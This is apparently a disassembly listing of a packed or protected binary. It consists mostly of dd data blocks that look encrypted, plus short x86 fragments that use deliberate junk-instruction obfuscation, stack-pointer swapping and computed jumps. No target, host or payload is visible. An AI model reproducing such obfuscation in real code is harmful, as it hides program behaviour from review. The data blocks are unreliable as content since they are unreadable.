		dd 4D2DF66Eh, 2D6ADEB7h, 0B3CDB74Dh, 0AE088078h, 5ACD7224h
		dd 64D1EB28h, 0E6A95453h, 0D9E89DBEh, 6015ADFEh, 4CC05A26h
		dd 80643C3h, 38823C5h, 6AE9B156h, 0C9E1D8C3h, 0A4000005h
		dd 0B776946h, 0AFE3BDF2h, 744E5Dh, 0B3DFC1EEh, 3F6F514Eh
		dd 0FBA44DCFh, 0B1FADD85h, 6348A3CFh, 0B8F3157Dh, 7C0CF4CAh
		dd 428DE708h, 0D2BA0300h, 5754A748h, 8125A591h,	773EABE1h
		dd 0FEB3F80Fh, 1F06721Ah, 0B4F6BD72h, 95FFB4F6h, 754A3873h
		dd 39142E5h, 1252C6E5h,	0D37BFE53h, 5BC55303h, 19DAD127h
		dd 0B55E4DABh, 0B0203418h, 0E95B4F5Ch, 0DFBD7250h, 0F8C19B9Dh
		dd 0F36348A0h, 50FD67DFh, 0FDDBBD72h, 0BDC505AEh, 0B5EA078Bh
		dd 0E63CBEFCh, 0C0485766h, 1A2FB48h, 0D2C80000h, 5D79DD48h
		dd 0E867D179h, 89654494h, 950DED26h, 0DE6F466Dh, 0DA10BC5Ch
		dd 2BADFEDAh, 0A1B884DFh, 8330723Eh, 9F098195h,	0CDBD79D9h
		dd 339441D0h, 95FD8545h, 64763477h, 793FB228h, 0EAF797BDh
		dd 60D853EDh, 4C2C8DE8h, 76637BC7h, 3119FA36h, 347639D5h
		dd 80580C76h, 0FADEE62Bh, 8849567Bh, 60807832h,	0FE575913h
		dd 48DA606Fh, 0D642ED77h, 0F1BA52C2h, 9CF00AC0h, 0CD7BFA09h
		dd 0DDB84B93h, 1FC661A8h, 0BF376919h, 0EAF0BF4Fh, 0DC6DD3E9h
		dd 0D278A952h, 0D86A9909h, 1EB65CE0h, 9C1F2B9h,	20A1EFh
		dd 0D2720000h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h
		dd 1D8D56F4h, 48CA24EEh, 0C8B4h, 61776100h, 0A646CE4Ah
		dd 0F6DEF305h, 2F805E0Bh, 0AC4C3879h, 2AC717FFh, 608D2E39h
		dd 70D8F9FFh, 0E170E464h, 83584494h, 0D06A9C28h, 0B555A444h
		dd 4494E143h, 6C8B0739h, 6317893Fh, 4494EC38h, 0DFC1EA0Eh
		dd 32479737h, 0EC1ED3DCh, 49D31C1Eh, 465E7ADEh,	59E134D5h
		dd 0F0DC1335h, 880C70F4h, 0F654B842h, 0F23EA061h, 29C848B0h
		dd 79580C76h, 5DDEA526h, 406B7713h, 3EB49h, 47688200h
		dd 0DBD42959h, 4C5F7DE5h, 0DFD02E56h, 2F709101h, 73E95D51h
		dd 0C3AF118Eh, 69198724h, 0BBA71992h, 9A348E1Dh, 0F9E256F6h
		dd 0EDDA428Dh
		dd 0F5A77A0h, 88FAB0FFh, 47AFFCDCh, 8B1C6D17h, 6480AA46h
		dd 0DCD052A2h, 5CC6541Bh, 7893FB69h, 23D0DBFDh,	7B1721E7h
		dd 2FA54E5Dh, 0C5F0D2D9h, 9568096Fh, 6899FF44h,	48D2BB6Bh
		dd 0ED5D79DDh, 0BB6B687Bh, 0D090F51h, 8CE0D909h, 0D9BDB9Ch
		dd 0FE5216F5h, 667480B8h, 54B38026h, 0FD1078C1h, 0FFC901B2h
		dd 0BA5246D2h, 0BD72A14Eh, 1EE0C3Eh, 0BC4CCC67h, 0C747A019h
		dd 39AB1B0Fh, 1FB747A0h, 0A0E2E2C9h, 26A4616Ah,	0E3970FCh
		dd 32B7Bh, 7A84200h, 9B14E999h,	0C9F3D25h, 9F10EE96h, 0EFB05141h
		dd 0B3291D91h, 36F514Eh, 0A9D9C7E4h, 0FB675952h, 0DAF4CEDDh
		dd 0F9229636h, 2D1A428Dh, 4A6177E0h, 0F3937F89h, 4494E881h
		dd 5FB34577h, 2FC02289h, 3A1E1A15h, 94E82692h, 3F9E1644h
		dd 41874370h, 0DC67DFB7h, 0AA3EA1F6h, 0C503AC42h, 208700Ch
		dd 3515BD78h, 5108582Ch, 9F2F89F5h, 627242ADh, 408AE2CAh
		dd 0EFB342BAh, 43D748CAh, 0AC000000h, 327993FBh, 72BDC7A8h
		dd 8EFA9286h, 7E4494E8h, 0EEEAAE4Ch, 0E92A8166h, 9C830711h
		dd 6A3EA1BDh, 9B017B38h, 86BD783Ch, 5E1BF262h, 6177317Ah
		dd 7A1AEEFBh, 4AB24857h, 48CA24BBh, 0BEDFh, 93FBB400h
		dd 0CFDCFC79h, 3622D819h, 94E82296h, 52E81A44h,	0B94F26C2h
		dd 0D09C1F2h, 94E80B7Dh, 9BF0144h, 8A15BCC8h, 0E9D3B49h
		dd 0E019EFE5h, 94E8FC68h, 509ACC44h, 0E547FA72h, 23C54494h
		dd 8E6A1A88h, 213BF41Dh, 3F7A1206h, 0EDC15E22h,	6EF8C5BBh
		dd 0A1B353C3h, 57C74C88h, 628F1CEFh, 5EF662A8h,	0CEB62C73h
		dd 20EF7C23h, 0D570FFFEh, 1F2CFEAh, 5F7B0000h, 0EB027250h
		dd 56B6DEC4h, 0E7F76B55h, 47AADAC8h, 0C0366A58h, 88FAA54Ch
		dd 0D2B0FBDCh, 806249A2h, 0C9B7F414h, 97B0BF3h,	0FF428DFBh
		dd 5A77BB02h, 1EE94A5Fh, 6F39FFB3h, 24876111h, 320A5ABEh
		dd 0E6FFAC6Eh, 0D2646F89h, 5D79DD48h, 0E867D179h, 14B54494h
		dd 0D8098035h, 0AF497B07h, 0A121645Bh, 0F320623Eh, 798763D9h
		dd 13E07EBDh, 0CB9F14A3h, 0FB3A48h, 770B0000h, 0B956461h
		dd 6BF4FFDDh, 268392B7h, 5A903A4Ch, 0D9C62B99h,	0F9A418h
		dd 0BFD34494h, 9408DD47h, 5F79AB44h, 62D6D533h,	0E041CE42h
		dd 0D36546EBh, 0B2C3254Dh, 885F535Ch, 6571E523h, 947A73E5h
		dd 1174944h, 2A051FD0h,	0CFA2A2Eh, 0F99B321Eh, 0CC2F2AF3h
		dd 91DF9D18h, 94BE8FF9h, 7D4B7D44h, 8F940F7Bh, 40823EA1h
		dd 0D84CBCD8h, 0B0BD79CDh, 0A9366C6Eh, 24A4949Fh, 0C74D6231h
		dd 0F161D507h, 0FB6DDD10h, 0D1B74396h, 0FB67598Fh, 5AC717D6h
		dd 0BADAFEEFh, 0D2EE5A52h, 0ACDEB743h, 18746D5Eh, 56417100h
		dd 0CF63h, 733C9E00h, 2788650Dh, 7833C9B9h, 2B845A0Ah
		dd 7B24CDB5h, 27A59905h, 77EBD5CAh, 2D554B60h, 8F03DDCEh
		dd 7E503279h, 0FC86F29Ah, 7976428Dh, 455A774Ch,	0C523AB5Bh
		dd 28C054E6h, 0E8CF39D1h, 8BBD4494h, 9FB3633Dh,	94E8BD27h
		dd 0BF598B44h, 14617794h, 0BEFCB5FAh, 1BBDC70Ch, 839D3290h
		dd 9218B0A8h, 223EABE1h, 625259B2h, 17F3207Fh, 0D73F8101h
		dd 90EE4887h, 7583292Dh, 1B90685Ch, 5A1BBDA5h, 980C7C7Dh
		dd 70BD725Dh, 852E7C2Eh, 81156507h, 644BA3E6h, 0E5C625AFh
		dd 0D19AB82Ch, 7E4C5F79h, 92EAF767h, 174B3576h,	9B29EAC1h
		dd 0D6D53643h, 0E62BDD1Dh, 0F04811BDh, 452D9318h, 7536D2A3h
		dd 874C7E3Ch, 3F2h, 5940C300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
		dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
		dd 0B45D52ABh
; ---------------------------------------------------------------------------
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	edx, 32992C17h
		inc	edx
		push	ecx
		mov	ecx, 34802583h
		xor	edx, ecx
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	281Eh
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		cmpsb
		inc	ebx
		push	cs
		ficom	word ptr [edx+1BB88C68h]
		adc	eax, 0C5030619h
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1424D1Dh, 3190D8A8h,	6F72918h, 60AA64E5h, 7AC0FA32h
		dd 79882DA2h, 6ADD31EEh, 44D50340h, 48DDF108h, 4174D687h
		dd 1CF64826h, 309DAA41h, 61ED589h, 33F282B6h, 9EE9h, 79175F00h
		dd 0F5CC474Fh, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch
		dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
		dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
		dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
		dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh
		dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh
		dd 0E09h, 7 dup(0)
		dd 0E9000000h, 10E1h, 1918C568h, 6ABEE906h, 9C68FFFAh
		dd 0E9061919h, 0FFFA6AB4h, 191A9168h, 6AAAE906h, 0CC68FFFAh
		dd 0E906191Bh, 0FFFA6AA0h, 191C4568h, 6A96E906h, 3168FFFAh
		dd 0E906191Dh, 0FFFA6A8Ch, 191DD768h, 6A82E906h, 9F68FFFAh
		dd 0E906191Eh, 0FFFA6A78h, 191F7168h, 6A6EE906h, 8D68FFFAh
		dd 0E9061920h, 0FFFA6A64h, 19213968h, 6A5AE906h, 0BE68FFFAh
		dd 0E9061922h, 0FFFA6A50h, 19249668h, 6A46E906h, 0A768FFFAh
		dd 0E9061925h, 0FFFA6A3Ch, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h
		dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h
		dd 0A5381AB8h, 153A07A7h, 0B6CC66E0h, 48FA2F16h, 0FD4BE0C2h
		dd 0FC50E1F3h, 0FA4C6E6Dh, 3C840554h, 2685C71Ah, 14401E09h
		dd 7B8A5BD4h, 9E46900Ah, 92345910h, 0DF3E0F41h,	0C4E6C715h
		dd 0D64D1874h, 0DDBD5CFh, 6CF9DD6Ch, 932589E8h,	0D8112DB7h
		dd 0A1DC11AEh, 2A168F68h, 0AB2B5AEBh, 0E70A8B63h, 0ADA33457h
		dd 0C597DCCh, 0ABDAF948h, 0A8B642Fh, 0CD3F95F8h, 0CA16833Ch
		dd 764254F2h, 0C744CE17h, 0AC28D7A5h, 497F5Ah, 0C2E30000h
		dd 0F3FD4BE0h, 0C7E4A2C7h, 8E98B796h, 34058816h, 0BF123817h
		dd 2C5DBC8Dh, 0A8A88B2h, 33D21A7Bh, 0A8A88D3h, 0C392C20Fh
		dd 1322327Fh, 0FF693FDh, 8DAF4CC6h, 5AAD3ECFh, 0EF77h
		dd 0CD5F4800h, 0B4D13F73h, 0C215BF09h, 0B8004EE0h, 0AA094396h
		dd 0B4FE588Dh, 46C7109Dh, 5EEBEF7Eh, 0D26367F6h, 27725D7Ah
		dd 0A943E543h, 0B496559Fh, 588B2B21h, 109E24E3h, 7452FA4Bh
		dd 7251FB4Eh, 0FB17154Dh, 0C81616h, 681E4361h, 0F7466C4Bh
		dd 11F4935Dh, 0EA168F01h, 67F654E8h, 0FA548926h, 0C30A8AEDh
		dd 83832342h, 0A78B285Eh, 0E4253414h, 8B8EFFDCh, 0D4107557h
		dd 450882F3h, 4CD10475h, 55E3E784h, 862D6CFDh, 8D01C4Ch
		dd 0DFBEFEh, 0E9C98BDAh, 207AEBCCh, 0E9047514h,	0AB3A1CA4h
		dd 6DFC56E6h, 0E475D969h, 0B0A5C4A5h, 79F92B9Dh, 0DBC603AAh
		dd 8200000Dh, 9E842234h, 3E64420Ch, 604260EAh, 0FF2181CFh
		dd 1104A2B2h, 0F460ED1Eh, 0EE64F4D6h, 0F355EAD0h, 0F05CEDD3h
		dd 97C609D2h, 16B6CD3Bh, 0BDB18D04h, 0E4C6E470h, 7DDBFB51h
		dd 0E7BADDC2h, 2CD1AA62h, 355198A4h, 3E91B996h,	6FFF5B0Ah
		dd 45C8109Eh, 2E2F5E7Bh, 0FF168F53h, 0F3A410D8h, 95C2E961h
		dd 958392Dh, 8B581A78h,	0A415710Ah, 0AC49B878h,	0B8205Ah
		dd 0BD360000h, 0BF8B1D6Ch, 0FE4B8FDEh, 1760756h, 6E109DB1h
		dd 756FC4Ch, 0C91C3E86h, 0ACFD2383h, 4E9391A0h,	49BC9B38h
		dd 109DAFCDh, 25587796h, 109DAFA9h, 8CC91372h, 8EB57459h
		dd 0EAC84D16h, 0F4D3B3AEh, 75006D81h, 88276610h, 2A7E13A2h
		dd 3F614120h, 0ACEF62F2h, 0E579F912h, 0D040B46h, 0D590000h
		dd 0F7476949h, 0FF517757h, 0F6456B4Bh, 7567C5Ah, 0F13E6D4Dh
		dd 0A7074D9Ch, 0BF1F3381h, 0A4024699h, 81212B7Eh, 0EC6697B8h
		dd 0B516B6CDh, 70BD025Ch, 75E8C7E4h, 109DB519h,	3B19A3E2h
		dd 0A8A6381Ah, 0B19B2E20h, 0CF0D2D12h, 5BF57BF3h, 40624391h
		dd 0B0D160EEh, 6CBDAE28h, 4D7251E0h, 0B8D18C4Bh, 0C11D5094h
		dd 8A109E40h, 0EF456A0Bh, 620325C7h, 72C315DFh,	85D5FDDAh
		dd 0EFD1FFC9h, 7F5CED5Dh, 0F140085Bh, 0B3064890h, 361C3999h
		dd 7796A7A1h, 5576676Dh, 285D7A0Ch, 168FA489h, 0F5987B9Ah
		dd 0E1057294h, 0C918ABB6h, 4998BA8Bh, 0AC0B6A0Bh, 0F267BC39h
		dd 0C40A3518h, 0EBA35078h, 0D134B13Bh, 0F1644380h, 0CEDE595h
		dd 89B53F5Eh, 54892660h, 12DBFA27h, 70527194h, 67506FDDh
		dd 282217DEh, 3422AA2Ch, 0DC91BB0Eh, 7C5B01A5h,	0F2623CAh
		dd 4E00000Ch, 52785600h, 4A704E00h, 547654F6h, 4B6D4D03h
		dd 457856FEh, 203481EAh, 4210A082h, 5FE93E64h, 4408597Fh
		dd 3725D66h, 16B6CE87h,	0BD65D950h, 0DCC3E06Ch,	835F5BB5h
		dd 0A489889h, 0A602616Bh, 79ECCBBBh, 168F2990h,	0AB8F2C71h
		dd 3E92341Ch, 9A96C40Ch, 6598374Fh, 107C1338h, 0DC2D3C61h
		dd 478137Eh, 18292BBAh,	99A8A236h, 85700983h, 1339D23Ch
		dd 509BB445h, 42EDh, 0E5C25100h, 9DB51670h, 58FA4A10h
		dd 5ABB8809h, 4B3B2692h, 0FB24F96Ch, 0B8DD168Eh, 0A4A4371Bh
		dd 6579D706h, 20B10A8Ah, 17AC8E2Ch, 5F252031h, 600000Bh
		dd 8AFB8F24h, 0A8A6510h, 84D5B4D9h, 0C221BB05h,	6EFF4DE0h
		dd 5099A52Fh, 0A29F7270h, 3E5F4A7Bh, 0A599BEA1h, 7BD56684h
		dd 0AB246954h, 9E2CE03Ah, 564A910h, 1B3A4CBBh, 0D2331685h
		dd 0D7CCDF5h, 0D5F594C0h, 5BEA62F3h, 4D07567Ch,	0C688DAFCh
		dd 0C8211DA7h, 67EC21BEh, 44106C03h, 6DC0E2C1h,	1DEFFDFh
		dd 6C00128Ch, 65F7DB04h, 1A3C84E5h, 78B485C7h, 47B61571h
		dd 0A5CE00Ah, 103F3253h, 2173DCF7h, 0AD44F8Ah, 3D890000h
		dd 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh
		dd 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh, 9CF66768h
		dd 6516B6CFh, 1270122Ch, 53109DB5h, 4B70E06Fh, 0BD69819Fh
		dd 9B9721E3h, 0F2634046h, 1684DB95h, 9E842362h,	1F297E0Bh
		dd 12232BBBh, 0E3492F3h, 64C091BBh, 3BAA097Dh, 1075C952h
		dd 22327FA3h, 95C84D9Ah, 79F5DD20h, 5B93CE5Dh, 200000Ah
		dd 1E04A2B4h, 0BEE4C28Ch, 0E0C2E06Ah, 7FA1014Fh, 91842232h
		dd 74E06D9Eh, 6EE47456h, 73D56A50h, 70DC6D53h, 17468952h
		dd 16B6D0BBh, 0BD310D84h, 6D51E06Ch, 6F5370DCh,	0BDDC6DDDh
		dd 4192B433h, 0C71C3E0Fh, 84E56FBEh, 5BF022B5h,	7405856Ah
		dd 41E68848h, 3456AA3h,	87DF1920h, 6621783Dh, 83204F41h
		dd 531E239h, 0A3780000h, 756902BEh, 1DB2F6A7h, 0BEDFBE8Ah
		dd 417BEC21h, 0ED301685h, 0F359ECCEh, 0F45EEED4h, 0BE9C2465h
		dd 5D45499Ch, 54B584D0h, 853CA925h, 0FE4ADD0Ah,	0FC212E6Fh
		dd 0AB8FCC9Dh, 58A73119h, 0A853CFAh, 1F03C51Ch,	6CADBC8Ch
		dd 853CA1FDh, 4A2B6A0Ah, 58F4456Dh, 0DB6AE476h,	0B02532BAh
		dd 10762EC9h, 70EE351Ah, 42329826h, 7BEAED7Ah, 472931Fh
		dd 91C4A5E8h, 79F6AA2Eh, 6FB59057h, 0EE000009h,	0F2D8F660h
		dd 0EAD0EE60h, 0F4D6F456h, 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah
		dd 0E270C0E2h, 0FF49DEC4h, 0E468F9DFh, 0A3D2FDC6h, 16B6D227h
		dd 0BD85B9F0h, 0FD8F1D6Ch, 942F3AE9h, 1E2F4E7Dh, 8BCF9EFFh
		dd 3C43123Ah, 0A58A3DCEh, 0F37E5886h, 7DE5EFAFh, 0A341CBBFh
		dd 45627h, 12703B00h, 34109DB5h, 5D7A592Dh, 75769772h
		dd 3AAB976Dh, 109E6DE0h, 0BB0564A9h, 855C114Ch,	9C3B5A16h
		dd 892923B6h, 273616A7h, 9A6E009h, 0ADBC9021h, 533216A9h
		dd 30194C89h, 11107649h, 5D70D98Ch, 0E68579F6h,	8C9EBh
		dd 10469400h, 103E90B2h, 0E3C90B2h, 17398AB0h, 104491B7h
		dd 3FAC83B2h, 5E4462F2h, 42684CEh, 173999AFh, 1B2886C6h
		dd 0D245C134h, 9B0E16B6h, 1CDDC2A7h, 0A47AE421h, 6B0A4695h
		dd 6EDE6F61h, 0E26AFBDFh, 0AD1EAC53h, 41DEB17Fh, 3B919A3h
		dd 703D0000h, 109DB518h, 7453332Eh, 0B4A82253h,	2C71109Dh
		dd 0B5045E8Fh, 48CD109Dh, 0F2225380h, 971684A2h, 0D56520B3h
		dd 0C8A9E879h, 85226300h, 7D2E8F9Ah, 0FAC29814h, 48D5FADDh
		dd 91C2C040h, 2B7ED018h, 0E9F8121h, 5EA0378h, 22436387h
		dd 0BACC1513h, 621E321Dh, 4B3997FAh, 0A4215481h, 6D107542h
		dd 2C9FFB6Ah, 25680471h
		dd 43821144h, 24C379F5h, 80129h, 480E5C00h, 58F6486Ah
		dd 4604587Ah, 5FF14268h, 480C597Fh, 97F43B6Ah, 86AC0A4Ah
		dd 9CBE1C36h, 7FA10147h, 0B3C01E2Eh, 0D2DD39ACh, 73A616B6h
		dd 0E06CBDCFh, 1507251h, 1F830253h, 0D5F7C191h,	9179C884h
		dd 82CC5E44h, 873BD03Ah, 1CB81636h, 0A341EA5Ch,	72EC213Eh
		dd 3B109DC1h, 0C8B12DAh, 0AF000000h, 2DAC4h, 71C3E700h
		dd 70450FD9h, 109DB518h, 4090332Eh, 6E547312h, 78656FD9h
		dd 84A2D805h, 0F7497116h, 39830253h, 684A69ACh,	6F5877D5h
		dd 0A91D10EBh, 59836F88h, 1B1DBF95h, 3E64727Ah,	604261EBh
		dd 53B283D1h, 0DC6DDD6Fh, 78B433BDh, 99B61571h,	8B1675AEh
		dd 0CC148EC2h, 756DE03Dh, 0F164A910h, 79F56E6Ch, 2FF7D299h
		dd 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h
		dd 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh
		dd 6392BD86h, 16B6D3E7h, 0BDC579B0h, 0E4C3E06Ch, 9DB51571h
		dd 8C01DE10h, 109DB512h, 11DBBADBh, 6D527552h, 4DBA4352h
		dd 76D08166h, 3F109DECh, 71C416DEh, 6848ADBh, 1D6CBD75h
		dd 0E167FC8Bh, 0E4C1E180h, 1571E4C3h, 0DE109DECh, 0EC54CEBFh
		dd 3488109Dh, 79C64716h, 0F5F41F4Eh, 22436A87h,	0E6F65085h
		dd 5EBF109Dh, 0D80ECE96h, 7B6A341h, 8C000000h, 1D2C4h
		dd 0E0C26A00h, 4BBA0250h, 109DB4D0h, 2C8BFBE6h,	0BC9A240Bh
		dd 6A2E6872h, 84FF2362h, 0F5181685h, 0A84F9D6h,	0D30A8580h
		dd 0A2D2AB2h, 5DF9A725h, 0DF8AA10h, 2CEED57Fh, 3C1EA6CDh
		dd 1E04A3A9h, 0E76DFC89h, 7563756h, 3A203E86h, 0B794A5A7h
		dd 0CC46B798h, 950A8544h, 44850170h, 0CF4E0A85h, 10B0B905h
		dd 81A90657h, 8724457Bh, 7654FB56h, 0C41C410h, 79F6559Bh
		dd 13D8F5B4h, 4A000006h, 567C5AFCh, 466C4A04h, 587A58F2h
		dd 47694907h, 497C5AFAh, 1C3885E6h, 64C9CBEh, 1B2D82A8h
		dd 84495BBh, 4FBEA1AAh,	16B6D4D3h, 0BDD9859Ch, 6D51E06Ch
		dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0DFA341EAh, 0C1118D00h
		dd 0BBDA109Dh, 7EA31h, 0C4500000h, 0FBh, 0B517706Ah, 342D109Dh
		dd 0E9491F8Ch, 3B5A5A74h, 6C03B39Ch, 2A76D005h,	0DE3F109Eh
		dd 1C8DDF9h, 4F6B9AB7h,	5816856Bh, 1FB49635h, 90B29F29h
		dd 89AF0F3Dh, 0E7451438h, 3278402h, 9569EB6h, 766279D4h
		dd 8EC34210h, 79F66327h, 67607D2Ch, 0F6000005h,	0EAD0EE68h
		dd 0F2D8F658h, 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h
		dd 0BA98280Ah, 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B6D67Fh
		dd 0BD6DD148h, 57B3226Ch, 20109DB5h, 89CD9CFDh,	3D451438h
		dd 398C36D3h, 5917B313h, 3BA341EAh, 0B988C817h,	10099058h
		dd 2D000000h, 0B6D9DDC2h, 5CDA823Fh, 414994h, 0C2E50000h
		dd 6FFE4CE0h, 21B4A62Eh, 3AAB8C2Bh, 109DB4E0h, 92C79EA9h
		dd 0AC5BC3Dh, 0C002616Bh, 0DD8EDF6Dh, 0DB6E2495h, 51301AAEh
		dd 4EFC5072h, 8569EFFh,	0C0DD0027h, 3DC1A52Fh, 2CA8B3h
		dd 0BD060000h, 7251E06Ch, 0A43024Dh, 32A6395Ah,	80EBD6E3h
		dd 0BF4E96F7h, 109DC55Eh, 0CE3F203Fh, 109DC554h, 96F0F81Dh
		dd 70DC6D25h, 6CBDF852h, 50DFC3E0h, 8D03100h, 4587A59h
		dd 27427E46h, 0B4F26CA1h, 5ABB109Dh, 97BB9C3Bh,	0DA3B0A4Ah
		dd 0A37F7312h, 15781684h, 94B699B6h, 0FF5B0A40h, 300A849Eh
		dd 0AC36AAE6h, 0E4293613h, 0E567FADCh, 0F94FE4C6h, 0B19F2968h
		dd 4EB5AB94h, 329CF667h, 20650A84h, 53EF837Bh, 56F64789h
		dd 0C0A907h, 0F20950F7h, 1AB9D8AAh, 6B8864EBh, 0EF1E4110h
		dd 46B8573h, 8BFAD93Ch,	46B850Fh, 0F7D4B5D8h, 0F062F2D8h
		dd 80D17BCEh, 4495B701h, 3588AA08h, 0FFEA4617h,	49CCBBC1h
		dd 0F9981732h, 0CB6EABDAh, 56B70A5Bh, 0DBE37C23h, 0E3FEAD73h
		dd 3E2h, 4767EF7Bh, 5D7DD161h, 4161E97Bh, 2280D05Fh, 3A3B100h
		dd 5FEE1F10h, 65F3D5F5h, 58EBCDEDh, 5DF0D2F0h, 0DD02CFEFh
		dd 0B6D72EA8h, 0C0A2F716h, 1670E5C2h, 4A109DB5h, 0BF0857F9h
		dd 0ACDCC328h, 717B1AC8h, 607ECE5Fh, 0D465E77Ah, 5CED5FF2h
		dd 0F39F1CB6h, 70CCEA62h, 0A34172A0h, 2D08h, 0BEA32E00h
		dd 0A77AEBC8h, 60168EFBh, 27BC9E3Dh, 0F6528121h, 2E0A8A65h
		dd 2F11B19Bh, 280FAC9Ch, 0C0D4BD34h, 17D61E20h,	3553Ah
		dd 0BEA39800h, 537AEBC8h, 24168EAFh, 9B78D203h,	0DC410A8Ah
		dd 27365714h, 0ABBA9223h, 7741BA38h, 46B71472h,	107B94FFh
		dd 0C09D3D60h, 3504469Ah, 0B9B00CD4h, 8184DE0Fh, 0C84D0477h
		dd 81207AEBh, 0A4E90477h, 4E77E6C5h, 1F0A687Bh,	6751CD40h
		dd 0FB1AFE64h, 401174F1h, 53E2AFFEh, 0F49D283Bh, 4223F1A3h
		dd 0B3F8CCF3h, 0B0AD320h, 86AC0B6Ah, 4A045633h,	6AFB9AFBh
		dd 0E42A12Bh, 9AC067E4h, 81BD0749h, 4CC11E68h, 4553105h
		dd 0A1872766h, 0B89F3C10h, 4A6422A4h, 0A1408818h, 62400C9Dh
		dd 6C4B3B26h, 41ABBCF9h, 71C045FEh, 3DA68200h, 1CADD9F2h
		dd 0DE1420F0h, 4CE0C242h, 29AFF6FEh, 93000000h,	0EBC8BEA3h
		dd 0D3FF39C4h, 5E66B664h, 7E0D0C81h, 0BFDE168Fh, 6DFF5FAEh
		dd 0BC560A8Bh, 535F1D3Fh, 0A4075AACh, 5B000000h, 51E06CBDh
		dd 5774E06Dh, 4356D170h, 747C215Ah, 0BCF1D6F5h,	58774CA6h
		dd 0EA7B5D67h, 5EEFD362h, 269DD0EEh, 8E109DF9h,	53FD4E3Bh
		dd 1BAE9432h, 0DD042031h, 96F751E6h, 0C959C439h, 8302168Eh
		dd 88FEE323h, 3040BA2Bh, 0C4491075h, 0DE76C3E7h, 0C98BDA00h
		dd 0F935F194h, 825F0E79h, 20Ah,	6F4F0753h, 7555F949h, 69490153h
		dd 7A58F847h, 6B4B0958h, 4796F738h, 3D8BAD0Dh, 4093B515h
		dd 3588AA08h, 0A5AAB717h, 0B6D8D630h, 0D88A9F16h, 0C6E470BDh
		dd 0DCFB51E4h, 0B5108AFBh, 0B4D9109Dh, 0A3942E2Ch, 0CCEBC8BEh
		dd 6754ADE3h, 622B3DE9h, 69CBAE8Eh, 0F0446607h,	12F3925Ah
		dd 0E3168EBBh, 0E46293A2h, 200A8AAAh, 4E70C18Fh, 0FD0554FEh
		dd 0F94CF693h, 5FAB3253h, 1CF2C2EAh, 0E15A5AADh, 7D000000h
		dd 7E460255h, 226CBDE4h, 9DB557B3h, 0DEFD2010h,	9DB533AFh
		dd 0F899FC10h, 7CD86569h, 0B1279CEDh, 3E8F109Dh, 0AB8FB00Eh
		dd 0E223321Ah, 0E765F8DAh, 770F5A56h, 80B82558h, 0EED1168Eh
		dd 8A7F237Fh, 2A9EC0Ah,	0EAD5BA37h, 83E0E87Eh, 7D64A402h
		dd 5E3BAA09h, 27107474h, 4FE1C9E6h, 0A12B6AFBh,	153F8EB4h
		dd 2C3691B6h, 0BE9114E6h, 23072836h, 0EE1FBC94h, 4748574h
		dd 0BE10D83Dh, 0BC8E226Fh, 9E07A8DDh, 591079F8h, 0F97Ch
		dd 80D66400h, 0A0AE0022h, 0BE8C2002h, 0A7A93A20h, 0C0942107h
		dd 0F7CB3E2h, 0E3492C2h, 143694BEh, 72989BFh, 2B3896B6h
		dd 0DA55B124h, 0B1E16B6h, 0E470BD57h, 0FB51E4C6h, 814AF3DCh
		dd 1CF4F8C6h, 8126D2B8h, 6B753261h, 0FE6F506Dh,	109E5EA4h
		dd 36A0286Dh, 1B9EDDC2h, 0FDDE1766h, 389FD533h,	15DF75F7h
		dd 0E91C72C3h, 109DD06Dh, 0A7B6D736h, 0E47712A3h, 0D5B4D564h
		dd 10B0B9F5h, 2F4734D5h, 0D9F69793h, 851C1BA4h,	0CC9D0016h
		dd 0B515378Ah, 0F5474293h, 0B0973455h, 41BEF84Eh, 94539D6Bh
		dd 0E4B68E65h, 68E27653h, 0E965F5D9h, 17C27358h, 50E0763Eh
		dd 0FF693FFh, 0C1C033Ch, 0CEDBF407h, 0C686D7FBh, 4BF794FEh
		dd 4D7552FAh, 57854FFBh, 1AA9E071h, 0C9065736h,	514DBBDEh
		dd 6244DC8Eh, 5F717BCDh, 9BB180D0h, 972AD871h
		dd 0A23315B5h, 3BE9BAAh, 24000000h, 71BDE17Bh, 0DF7254E5h
		dd 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h
		dd 9B2D1120h, 2ABC9EAFh, 51221524h, 0C181E189h,	4, 4E981h
